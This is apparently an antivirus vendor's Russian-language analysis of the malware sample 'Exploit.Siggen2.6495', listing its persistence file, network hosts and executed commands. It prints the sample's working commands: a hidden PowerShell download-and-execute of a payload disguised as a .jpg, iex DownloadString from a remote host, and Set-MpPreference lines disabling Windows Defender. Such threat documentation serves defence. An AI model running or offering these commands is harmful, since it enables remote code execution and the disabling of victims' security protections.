Exploit.Siggen2.6495

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\ omnibees.vbs

Вредоносные функции

Загружает и запускает на исполнение

https://d.top4top.io/p_16425pqv61.jpg как %temp%\гёoг№гўaгўгјsciiгўoaoгігўг¦sг¦iгўгёгґaaaiгўг‹.vbs

Запускает на исполнение (эксплоит)

'<SYSTEM32>\cmd.exe' /C POWERSHELL -EXECUTIONPOLICY BYPASS -NOPROFile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://d.top4top.io/p_16425pqv61.jpg','%TEMP%\ГёOГ№ГЎaГЎГЈsCIiГўOaOГІГЎГ¦sГ...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\ГёoГ№ГЎaГЎГЈsciiГўoaoГІГЎГ¦sГ¦iГўГЁГґaaaiГўГ«.vbs

Сетевая активность

TCP

'd.###4top.io':443
'c.###4top.io':443
'ma#######ecocacola.ddns.com.br':5552

UDP

DNS ASK d.###4top.io
DNS ASK c.###4top.io
DNS ASK ma#######ecocacola.ddns.com.br

Другое

Создает и запускает на исполнение

'<SYSTEM32>\cmd.exe' /C POWERSHELL -EXECUTIONPOLICY BYPASS -NOPROFile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://d.top4top.io/p_16425pqv61.jpg','%TEMP%\ГёOГ№ГЎaГЎГЈsCIiГўOaOГІГЎГ¦sГ...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('https://c.top4top.io/p_1622bu6wj1.jpg')' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\wscript.exe' "%TEMP%\ГёOГ№ГЎaГЎГЈsCIiГўOaOГІГЎГ¦sГ¦iГўГЁГґAAaIГўГ‹.vbs"
'<SYSTEM32>\wscript.exe' "%TEMP%\ГёOГ№ГЎaГЎГЈsCIiГўOaOГІГЎГ¦sГ¦iГўГЁГґAAaIГўГ‹.vbs" /elevate
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('https://c.top4top.io/p_1622bu6wj1.jpg')